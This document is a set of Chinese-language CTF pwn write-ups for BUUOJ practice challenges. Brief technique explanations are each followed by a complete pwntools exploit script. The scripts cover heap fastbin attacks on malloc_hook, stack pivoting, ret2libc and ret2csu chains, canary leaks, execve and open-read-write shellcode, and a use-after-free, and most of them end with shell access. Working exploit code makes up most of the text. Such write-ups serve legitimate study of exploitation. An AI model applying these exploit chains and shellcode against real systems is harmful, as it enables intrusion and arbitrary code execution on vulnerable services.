allocate(0xc0) #2 通过free再malloc,将0xc0的长度记录再记录堆长度table中去,这样我们就可以解决dump长度受限的问题了
fix = p64(0)*5 + p64(0xa1) #在malloc大小为0xd0的第2块时,第3块的smallbin会被清零,需要修复第三块信息
fill(2,fix)
第二步:利用smallbin泄露main arena地址
这一步是常规操作了,直接看代码就能看懂
第三步:fastbin attack 实现堆malloc hook和realloc hook的控制
这一步也是常规操作,注意在申请malloc hook附近的串要错位申请,申请大小只能时0x60,这也是为什么前面的第五个块大小是0x60的原因,同一个fastbin链的Size必须是一致的
'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
free(7)
free(5)
payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3) #这里注意错位
fill(4,payload)
allocate(0x60) #0
allocate(0x60) #3
第四步:计算onegadget偏移,触发漏洞
总结代码如下
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def allocate(size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
def fill(index,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
conn.recvuntil("Size:")
conn.sendline(str(len(content)))
conn.recvuntil("Content:")
conn.send(content)
def free(index):
conn.recvuntil("Command:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def dump(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28616
conn = remote(HOST ,PORT)
'''步骤一:利用Chunk Extend,伪造第2块的长度'''
allocate(0x90) #0
allocate(0x20) #1
allocate(0x20) #2
allocate(0x90) #3
allocate(0x20) #4
allocate(0x60) #5
allocate(0x20) #6
allocate(0x60) #7
allocate(0x20) #8
payload = "A"*0x20 + p64(0) + p64(0xd1) #通过对1块的越界写伪造2块长度
fill(1,payload)
free(2)
allocate(0xc0) #2 通过free再malloc,将0xc0的长度记录再记录堆长度table中去,这样我们就可以解决dump长度受限的问题了
fix = p64(0)*5 + p64(0xa1) #在malloc大小为0xd0的第2块时,第3块的smallbin会被清零,需要修复第三块信息
fill(2,fix)
'''第二步:利用smallbin泄露main arena地址'''
free(3)
free(0)
payload = "A"*0x30 #利用步骤一伪造的bin,填充第二块后,可以泄露块3的内容
fill(2,payload)
dump(2)
conn.recvuntil("A"*0x30)
main_arena_88 = conn.recv(6).ljust(8,"\x00")
main_arena = u64(main_arena_88) - 88
malloc_hook = main_arena - 0x10
print "The malloc hook is",hex(malloc_hook) #计算malloc hook地址
libc = LibcSearcher("__malloc_hook",malloc_hook)
libc_base = malloc_hook - libc.dump("__malloc_hook")
print "The libc base is ",hex(libc_base) #计算libc基地址
'''第三步:fastbin attack 实现堆malloc hook和realloc hook的控'''
free(7)
free(5)
payload = p64(0)*5 + p64(0x71) + p64(malloc_hook-0x20 - 3) #这里注意错位
fill(4,payload)
allocate(0x60) #0
allocate(0x60) #3
'''第四步:利用malloc hook和realloc hook实现onegadget'''
one_gadget = libc_base + 0xf1147
print "The one_gadget is",hex(one_gadget)
realloc = libc_base + libc.dump("realloc")
print "The realloc is ",hex(realloc)
payload = "\x00" * (0x8 + 3) + p64(one_gadget)+ p64(realloc)
fill(3,payload)
# malloc hook -> realloc hook -> onegadget
allocate(0x20) #触发malloc hook
conn.interactive()
这个题目有点意思,可以好好讲讲(前提是我们已经知道了题目得libc了)
首先我们简单分析一下题目,栈溢出是非常明显的
但是我们仔细看汇编,发现main函数的结尾是由leave得,也就是说,我们在不知道栈空间得情况下很难第二次指向main函数
但是变相得说,我们就可以通过控制rbp来操作esp指向得空间了
题目分析完了大致的思路走起来
步骤一:通过第一次栈溢出调用printf函数,泄露read的got表内容
这个就是常规操作,我在本地实验的时候不知道为社么直接用rdi指向raed got会失败,所以我严格按照了main函数中调用printf的过程
call_printf = 0x4004F0
string_offset = 0x400770 # Welcome to the Pwn World again, %s!\n
printf_got = 0x601018
read_got = 0x601020
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
main = 0x400636
data = 0x601000
leave_ret = 0x4006CA
rop_gadget1 = 0x40072a
rop_gadget2 = 0x400710
payload = "A"*0x28
payload += p64(pop_rdi_ret) + p64(string_offset) #控制rdi指向string_offset
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(read_got) #控制rsi指向read got
payload += p64(call_printf)
...
payload = p64(one_gadget) + p64(0) *10 #将onegadget地址写入即将转移的栈地址空间,这里写很多0也是为了满足onegadget条件
conn.sendline(payload)
步骤二:通过调用万能gadget实现将转移后的onegadget地址写入data段
这一步跨度比较大,首先我们使用_libc_csu_init的万能函数实现对read的调用
调用read函数将计算好的onegadget地址写入到栈转移后的位置,再其中过程中注意几个小问题:
第一,在调用rop1的时候需要控制rbx为0,成功调用rop2中的call函数,rop1中的rbp需要为0x1,再调用call函数后通过cmp比较执行到ret
第二,需要再rop2,再调用call之后,再次控制rbp到写入onegadget地址-0x8的位置,最终实现栈的转移
payload = ...
payload += p64(rop_gadget1)
payload += p64(0) #rbx
payload += p64(1) #rbp 为了通过cmp rbx, rbp
payload += p64(read_got) #r12
payload += p64(0x100) #r13
payload += p64(data) #r14
payload += p64(0) #r15
payload += p64(rop_gadget2)
payload += p64(0)*2 #add rsp, 8 和 pop rbx
payload += p64(data-0x8) #rbp 这里指向转移的栈地址
payload += p64(0)*4 #其他寄存器,不重要了
payload += p64(leave_ret) #通过调用leave ret实现栈转移
具体的调试走一遍流程就清楚了,个人再本地调试遇到一些小问题,不过都顺利解决了,希望帮助到大家!
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def allocate(size):
conn.recvuntil("Command:")
conn.sendline("1")
conn.recvuntil("Size:")
conn.sendline(str(size))
def fill(index,content):
conn.recvuntil("Command:")
conn.sendline("2")
conn.recvuntil("Index:")
conn.sendline(str(index))
conn.recvuntil("Size:")
conn.sendline(str(len(content)))
conn.recvuntil("Content:")
conn.send(content)
def free(index):
conn.recvuntil("Command:")
conn.sendline("3")
conn.recvuntil("Index:")
conn.sendline(str(index))
def dump(index):
conn.recvuntil("Command:")
conn.sendline("4")
conn.recvuntil("Index:")
conn.sendline(str(index))
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25992
conn = remote(HOST ,PORT)
pause()
'''第一部分:通过栈溢出实现泄露read got,用万能gadget函数实现调用read函数写入onegadget,最终leave实现栈空间转移'''
call_printf = 0x4004F0
string_offset = 0x400770 # Welcome to the Pwn World again, %s!\n
printf_got = 0x601018
read_got = 0x601020
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
main = 0x400636
data = 0x601000
leave_ret = 0x4006CA
rop_gadget1 = 0x40072a
rop_gadget2 = 0x400710
payload = "A"*0x28
payload += p64(pop_rdi_ret) + p64(string_offset) #控制rdi指向string_offset
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(read_got) #控制rsi指向read got
payload += p64(call_printf) #调用printf plt
payload += p64(rop_gadget1) #rop1
payload += p64(0) #rbx
payload += p64(1) #rbp 为了通过cmp rbx, rbp
payload += p64(read_got) #r12
payload += p64(0x100) #r13
payload += p64(data) #r14
payload += p64(0) #r15
payload += p64(rop_gadget2) #rop2
payload += p64(0)*2 #add rsp, 8 和 pop rbx
payload += p64(data-0x8) #rbp 这里指向转移的栈地址
payload += p64(0)*4 #其他寄存器,不重要了
payload += p64(leave_ret) #通过调用leave ret实现栈转移
conn.recvuntil("What's your name?")
conn.sendline(payload)
conn.recvuntil("Welcome to the Pwn World again, ")
conn.recvuntil("Welcome to the Pwn World again, ")
read_leak = conn.recv(6).ljust(8,"\x00")
read_leak = u64(read_leak)
print "The read leak is",hex(read_leak) #泄露的read got内容
libc_base = read_leak - 0xF7250 #计算libc偏移,再已知libc情况下直接用
print "The libc base is",hex(libc_base)
one_gadget = libc_base + 0x4526a #计算onegadget函数
print "The one_gadget is",hex(one_gadget)
#pause()
'''第二部分:调用read输入写入的onegadget内容'''
payload = p64(one_gadget) + p64(0) *10 #将onegadget地址写入即将转移的栈地址空间,这里写很多0也是为了满足onegadget条件
conn.sendline(payload)
conn.interactive()
这个题目其实也是基础题,但是稍微高级了一丢丢,主要的思路还是利用2次leave ret指令实现对esp的控制,这么麻烦的原因就是栈溢出只能控制一个ret地址,不足以直接构造ROP链
步骤一:通过第一次的read和printf函数组合,泄露ebp地址,从而计算出第二次输入的地址空间
这个很简单,没什么好说的
步骤二:直接再输入构造ROP链
这个时候需要注意以下几点:
最终就可以实现stack point指针指向我们构造的位置
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25096
conn = process("./ciscn_2019_es_2")
call_system = 0x08048559
main = 0x08048622
leave_ret = 0x80485FD
'''步骤一:泄露ebp的内容'''
payload = "A"*0x28
conn.recvuntil("Welcome, my friend. What's your name?")
conn.send(payload)
conn.recvuntil("A"*0x28)
ebp_leak = u32(conn.recv(4))
print "The ebp leak is",hex(ebp_leak)
'''步骤二:构造ROP链'''
payload = p32(call_system) + p32(ebp_leak-0x30) + "/bin/sh\x00" #写入调用system函数,注意ebp_leak-0x30指向的是/bin/sh字符串
payload = payload.ljust(0x28,"\x00")
payload += p32(ebp_leak -0x3c) + p32(leave_ret) #控制ebp的值,然后返回值leave ret实现stack pivot
conn.send(payload)
conn.interactive()
又是最最简单的栈溢出
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25610
conn = remote(HOST ,PORT)
pause()
ROP1 = 0x04006EA
ROP2 = 0x04006D0
write_got = 0x0600AE0
main = 0x04004E0
good_game = 0x400620
conn.recvuntil("Input your message:\n")
payload = "A"*0x88
#payload += p64(ROP1) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
#payload += p64(ROP2) +
payload += p64(good_game)
conn.sendline(payload)
pause()
conn.interactive()
这个题目时SROP一个简单的应用场景,可以参考我的学习笔记,里面又题目详细的解析过程。【SROP学习笔记】
教程在这里,看过来呀看过来
没想到这么长时间过去了,做这种题目还是不是很熟练,说明能力还是没有那么强呀。
这个题目很简单,需要利用stack pivot
技术转移栈空间,原理就是通过leave ret
实现,很好理解,但是我们在实施过程中需要有多次调用vulnerable_function
,这就需要我们细心计算RBP的值。
肯定有人不理解,为什么不能在一次栈溢出完成更多功能,这是因为我们用one gadget势必需要调用write函数泄露got表内容,但在write函数结束后返回地址需要pop值得时候,只有一个指令满足条件,且会改变esi值,这就打破了onegadget得前提条件,用两个图解释
漏洞就是简单的栈溢出漏洞,不再分析,下面讲一下解题步骤:
第一步:选择一个可读写的地址,直接将栈空间转移至此
这里选择一个转移后的地址one_gadget_pos
,在第一次调用vulnerable_function
得时候,调用一次read函数在one_gadget_pos
写入vulnerable_function
函数地址,注意控制rbp地址
我们构造payload如下
payload = "A"*0x88
payload += p32(one_gadget_pos - 0x4) #注意计算rbp得值
payload += p32(read_plt) #调用一次read函数,将vulnerable_function地址写在新得栈空间作为返回地址
payload += p32(leave_ret)
payload += p32(0) + p32(one_gadget_pos) + p32(8)
conn.send(payload)
pause()
payload = p32(vulnerable_function)
conn.send(payload)
在栈转移后ret地址和栈空间如下,然后又调用了第二次vulnerable_function
函数
第二步:第二次调用vlun函数,泄露read得got表地址
当我们栈空间已经转移以后,需要精确得控制rbp,以达到第三次能够调用vuln函数得作用,具体如下,其实可以边调试边修改
conn.recvuntil("Input:")
payload = "A"*0x8c #这里得ebp先不用管,我们通过后面得pop rbp进行修正
payload += p32(pop_ebp) #pop rbp
payload += p32(one_gadget_pos + 0x20 - 0x4) #rbp要计算好,正好跳到此段payload最后返回vuln得位置
payload += p32(write_plt) #调用write函数
payload += p32(leave_ret) #write调用后得返回地址,再次调用leave ret控制rsp
payload += p32(1) + p32(read_got) + p32(4)
payload += p32(vulnerable_function)
conn.sendline(payload)
第三步:就比较简单了,直接利用onegadget
因为不涉及rbp得控制,直接利用即可
payload = "A"*0x8c
payload += p32(one_gadget)
payload += p32(0) * 10
总体上不难,但是需要吧细节想清楚
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28958
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./level3")
#pwnlib.gdb.attach(conn,"b *0x8048482\n\n")
pause()
read_plt = 0x08048310
write_plt = 0x08048340
vulnerable_function = 0x0804844B
read_got = 0x0804A00C
pop_ebp = 0x0804851B
one_gadget_pos = 0x0804A200
leave_ret = 0x08048482
'''第一步:选择一个可读写的地址one_gadget_pos,直接将栈空间转移至此'''
conn.recvuntil("Input:")
payload = "A"*0x88
payload += p32(one_gadget_pos - 0x4) #注意计算rbp得值
payload += p32(read_plt) #调用一次read函数,将vulnerable_function地址写在新得栈空间作为返回地址
payload += p32(leave_ret)
payload += p32(0) + p32(one_gadget_pos) + p32(8)
conn.send(payload)
pause()
payload = p32(vulnerable_function)
conn.send(payload)
'''step2: read leak '''
conn.recvuntil("Input:")
payload = "A"*0x8c #这里得ebp先不用管,我们通过后面得pop rbp进行修正
payload += p32(pop_ebp) #pop rbp
payload += p32(one_gadget_pos + 0x20 - 0x4) #rbp要计算好,正好跳到此段payload最后返回vuln得位置
payload += p32(write_plt) #调用write函数
payload += p32(leave_ret) #write调用后得返回地址,再次调用leave ret控制rsp
payload += p32(1) + p32(read_got) + p32(4)
payload += p32(vulnerable_function)
conn.sendline(payload)
pause()
conn.recvuntil("\n")
read_leak = conn.recv(4)
read_leak = u32(read_leak)
print "The read leak is ",hex(read_leak)
libc = LibcSearcher("read",read_leak)
libc_base = read_leak - libc.dump("read")
print "The libc base is",hex(libc_base)
'''step3: 调用第三次vuln函数,触发one gadget'''
conn.recvuntil("Input:")
one_gadget = libc_base + 0x3a80c #0x3d2b0
payload = "A"*0x8c
payload += p32(one_gadget)
payload += p32(0) * 10
conn.send(payload)
pause()
conn.interactive()
送分题,本质上还是一个栈溢出,而且没有对战不可执行得保护,所以说可以为所欲为,并且还直接有个格式化字符串得到了栈地址,直接在栈上写shellcode就好了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26135
conn = remote(HOST ,PORT)
conn.recvuntil("Yippie, lets crash: ")
stack_leak = conn.recvuntil("\n")
stack_leak = int(stack_leak,16)
print "The stack leak is",hex(stack_leak)
target_point = stack_leak - 0x1c
shellcode = shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
conn.recvuntil("Whats your name?")
payload = "crashme\x00"
payload = payload.ljust(0x1a,"A")
payload += p32(target_point)
payload += shellcode
conn.sendline(payload)
conn.interactive()
没什么技术含量,就是调用3个函数组合一个ROP链而已
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26595
conn = remote(HOST ,PORT)
win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B
pop_ebx = 0x0804840d
conn.recvuntil("Enter your input> ")
payload = "A" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2)
payload += p32(pop_ebx)
payload += p32(0xbaaaaaad)
payload += p32(flag)
payload += p32(0xDEADBAAD)
payload += p32(0xDEADBAAD)
payload += p32(0xDEADBAAD)
conn.sendline(payload)
conn.interactive()
还是leave_ret转移栈空间的技术,没什么特别的,前面碰到过更复杂的这里就不细说了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25849
conn = remote(HOST ,PORT)
write_plt = 0x8048380
write_got = 0x804A01C
read_plt = 0x08048340
data_offset = 0x804A300
pop_ebx_ret = 0x08048329
pop_ebp_ret = 0x080485ab
leave_ret = 0x08048511
conn.recvuntil("Hello good Ctfer!")
payload = p32(pop_ebp_ret) #通过输入s全局变量,提前布置转移后的栈空间
payload += p32(data_offset + 0x18) #控制ebp,为了write函数后通过leave ret返回至下面的地址
payload += p32(write_plt) #通过write函数泄露write_got内容
payload += p32(leave_ret) #write函数调用后用leave控制esp指针
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
payload += p32(pop_ebp_ret) #write函数之后通过leave ret将esp指向这里
payload += p32(data_offset + 0x50 -4) #再次控制esp,使得read之后通过leave ret返回写入onegadget地址的位置
payload += p32(read_plt) #调用read函数在data_offset + 0x50 位置写入onegadget
payload += p32(leave_ret)
payload += p32(0)
payload += p32(data_offset + 0x50)
payload += p32(0x200)
conn.send(payload)
conn.recvuntil("What do you want to say?") #接收泄露的write got内容
payload = "A" * 0x18
payload += p32(data_offset -0x4)
payload += p32(leave_ret)
conn.send(payload)
pause()
write_leak = conn.recv(4)
write_leak = u32(write_leak)
print "The write leak is ",hex(write_leak)
libc = LibcSearcher("write",write_leak) #写入data_offset + 0x50的具体内容
libc_base = write_leak - libc.dump("write")
one_gadget = libc_base + 0x3a80c#0x3d2b0
payload = p32(one_gadget) + p32(0) * 20
conn.send(payload)
#pause()
conn.interactive()
再次看到这个的时候突然发现之前想复杂了,其实之前考虑用stack pivot就是考虑多次leave ret不能多次使用vlun函数,但是其实如果时调用main函数,在调用vuln函数,ebp就会恢复正常。真的草率了。这样在判断libc版本以后其实就可以直接搜索/bin/sh
和system函数
地址调用了,草率了…
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27148
io = remote(HOST ,PORT)
elf = ELF("./level4")
context(os = "linux", arch = "i386")
read_got = elf.got['read']
write_plt= elf.plt['write']
main_addr = 0x8048470
payload = (0x88+0x04)*'a'+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
io.send(payload)
read_addr = u32(io.recv(4))
libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload = (0x88+0x04)*'a'+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
io.send(payload)
io.interactive()
就是正常的万能gadget,然后调用onegadget就行了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27015
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./level3_x64")
#pwnlib.gdb.attach(conn,"b *0x40061A\n\n")
pause()
rop1 = 0x04006AA
rop2 = 0x400690
write_got = 0x600A58
main = 0x040061A
conn.recvuntil("Input:\n")
paylaod = "A"* 0x88
paylaod += p64(rop1)
paylaod += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1)
paylaod += p64(rop2)
paylaod += p64(0) * 7
paylaod += p64(main)
conn.send(paylaod)
write_leak = conn.recv(8)
write_leak = u64(write_leak)
print "The write leak is",hex(write_leak)
libc = LibcSearcher("write",write_leak)
libc_base = write_leak - libc.dump("write")
print "The libc base is",hex(libc_base)
one_gadget = libc_base + 0x4526a
conn.recvuntil("Input:\n")
paylaod = "A"* 0x88
paylaod += p64(one_gadget)
paylaod += p64(0)*10
conn.send(paylaod)
pause()
conn.interactive()
标准的ret_2_libc问题,就是加了个cannary,通过格式化字符串泄露一下就行
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27129
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./bjdctf_2020_babyrop2")
#pwnlib.gdb.attach(conn,"b *0x004008BE\nb main\n")
pause()
main = 0x04008DA
pop_rdi = 0x0400993
puts_plt = 0x0400610
puts_got = 0x601018
'''第一步:通过格式化字符串泄露canary值'''
conn.recvuntil("I'll give u some gift to help u!")
payload = "%11$p"
conn.sendline(payload)
canary_leak = conn.recvuntil("\nPull up your sword and tell me u story!",drop=True)
canary_leak = int(canary_leak,16)
print "The canary leak is ",hex(canary_leak)
'''第二步:调用puts函数泄露puts got值'''
payload = "A"*0x18
payload += p64(canary_leak)
payload += p64(0)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(main)
conn.sendline(payload)
puts_got_leak = conn.recvuntil("\nCan u return to libc",drop=True)[1:]
puts_got_leak = puts_got_leak.ljust(8,"\x00")
puts_got_leak = u64(puts_got_leak)
print "The puts got leak is ",hex(puts_got_leak)
libc = LibcSearcher("puts",puts_got_leak)
libc_base = puts_got_leak - libc.dump("puts")
'''第三步:计算bin_sh和system函数地址,然后调用'''
one_gadget = libc_base + 0xf02a4
bin_sh = libc_base + libc.dump("str_bin_sh")
system = libc_base + libc.dump("system")
conn.sendline("gitf")
conn.recvuntil("Pull up your sword and tell me u story!")
payload = "A"*0x18
payload += p64(canary_leak)
payload += p64(0)
payload += p64(pop_rdi) + p64(bin_sh)
payload += p64(system)
conn.sendline(payload)
pause()
conn.interactive()
这个很有意思,涉及到了seccomp相关的知识点,这里整理一些资料
prctl()函数详解
一道 CTF 题目学习 prctl 函数的沙箱过滤规则
题目中的条件设置是这样的
对应的在prctl函数,就重点关注编号是22和38的是干什么的,分别是PR_SET_SECCOMP
和PR_SET_NO_NEW_PRIVS
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25387
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./orw")
#pwnlib.gdb.attach(conn,"b *0x0804858A\nb main\n")
pause()
bss = 0x804A200
conn.recvuntil("Give my your shellcode:")
shellcode = ''
#fp = open("flag.txt",0,0)
shellcode +=asm('mov eax,0x5')
shellcode +=asm('push 0x00000000')
shellcode +=asm('push 0x00000067')
shellcode +=asm('push 0x616c662f')
shellcode +=asm('mov ebx,esp')
shellcode +=asm('xor ecx,ecx')
shellcode +=asm('xor edx,edx')
shellcode +=asm('int 0x80')
#read(fd,bss,0x60)
shellcode +=asm('mov ebx,eax')
shellcode +=asm('mov eax,0x3')
shellcode +=asm('mov ecx,0x804A200')
shellcode +=asm('mov edx,0x60')
shellcode +=asm('int 0x80')
#write(1,bss,0x60)
shellcode +=asm('mov eax,0x4')
shellcode +=asm('mov ebx,0x1')
shellcode +=asm('mov ecx,0x804A200')
shellcode +=asm('mov edx,0x60')
shellcode +=asm('int 0x80')
print "The shellciode lens is",hex(len(shellcode))
conn.sendline(shellcode)
pause()
conn.interactive()
这个题目其实不是很难,但是传统的思路我都是想通过fastbin attack直接去在got表附近构建堆块,然后就找适合构造堆块,在got表之前的位置了(0x7f,后面紧跟8个\x00,但是没有啊),没有找到合适的位置就一直卡着。
太蠢了,其实可以在全局变量heaparray
之前,让我们控制这个地方,也可以对got表实现任意地址写的作用,思路清楚了就简单了
因此我们还是需要想办法通过system来getshell
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def create_heap(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Size of Heap :")
conn.sendline(str(size))
conn.recvuntil("Content of heap:")
conn.send(content)
def edit_heap(index,size,content):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
conn.recvuntil("Size of Heap : ")
conn.sendline(str(size))
conn.recvuntil("Content of heap : ")
conn.send(content)
def delete_heap(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
def exit():
conn.recvuntil("Your choice :")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 25748
conn = remote(HOST ,PORT)
pause()
heaparray = 0x6020E0 #全局变量的表格,我们控制它就能实现任意地址写
system_plt = 0x400700
free_got = 0x602018
'''第一步:fastbin attack在 heaparray 之前申请一个堆块'''
create_heap(0x60,"\x00") #0
create_heap(0x60,"\x00") #1
create_heap(0x60,"\x00") #2
delete_heap(1)
payload = "\x00"*0x60 + p64(0) +p64(0x71) + p64(heaparray-0x33)
edit_heap(0,len(payload),payload)
create_heap(0x60,"\x00") #1
create_heap(0x60,"\x00") #3 这个就是我们在heaparray之前的堆块
'''第二步:通过新申请的堆控制heaparray内容'''
payload = "\x00"*0x23 + p64(free_got) #修改heaparray[0]指向 free_got
edit_heap(3,len(payload),payload)
'''第三步:修改free_got地址'''
payload = p64(system_plt) #将free_got内容修改为system_plt
edit_heap(0,len(payload),payload)
'''第四步:通过控制heaparray将/bin/sh字符串写入'''
payload = "\x00"*0x23 + p64(heaparray + 0x8)+"/bin/sh\x00\x00\x00"
edit_heap(3,len(payload),payload)
'''第五步:通过调用free函数,以及我们控制heaparray[0]指向/bin/sh后,最终实现system('/bin/sh')调用'''
delete_heap(0)
pause()
conn.interactive()
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 27467
conn = remote(HOST ,PORT)
pause()
get_shell = 0x804851B
payload = "A"*0x1c + p32(get_shell)
conn.send(payload)
pause()
conn.interactive()
有system直接调用即可
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26038
conn = remote(HOST ,PORT)
pause()
conn.recvuntil("Please input u choose:")
conn.sendline("1")
conn.recvuntil("Please input the ip address:")
payload = "\n/bin/sh\n"
conn.sendline(payload)
pause()
conn.interactive()
典型的UAF,libc2.23也没有tcache的保护,题目简单分析就是add_note
的时候,新建一个0x10大小的块,存储一个输出函数和存放内容堆的地址,然后再申请一个size
大小的堆,输入内容。漏洞在于free之后没有把全局变量清除,我们只需要做两个add_note
,让size!=0x10
,然后再申请一个add_note
,size==00x10
,并且将内容指向magic函数
,在利用print(0)
调出即可
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
def add_note(size,content):
conn.recvuntil("Your choice :")
conn.sendline("1")
conn.recvuntil("Note size :")
conn.sendline(str(size))
conn.recvuntil("Content :")
conn.send(content)
def del_note(index):
conn.recvuntil("Your choice :")
conn.sendline("2")
conn.recvuntil("Index :")
conn.sendline(str(index))
def print_note(index):
conn.recvuntil("Your choice :")
conn.sendline("3")
conn.recvuntil("Index :")
conn.sendline(str(index))
def exit():
conn.recvuntil("Your choice :")
conn.sendline("4")
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 28786
conn = remote(HOST ,PORT)
pause()
magic = 0x08048945
add_note(0x18,"\x00") # 0x10 0,0x20 0
add_note(0x18,"\x00") # 0x10 1,0x20 1
del_note(0)
del_note(1)
add_note(0x8,p32(magic)) #0x10 1 ,0x10 0 ,change 0x10 0 into magic
print_note(0) #exploit
pause()
conn.interactive()
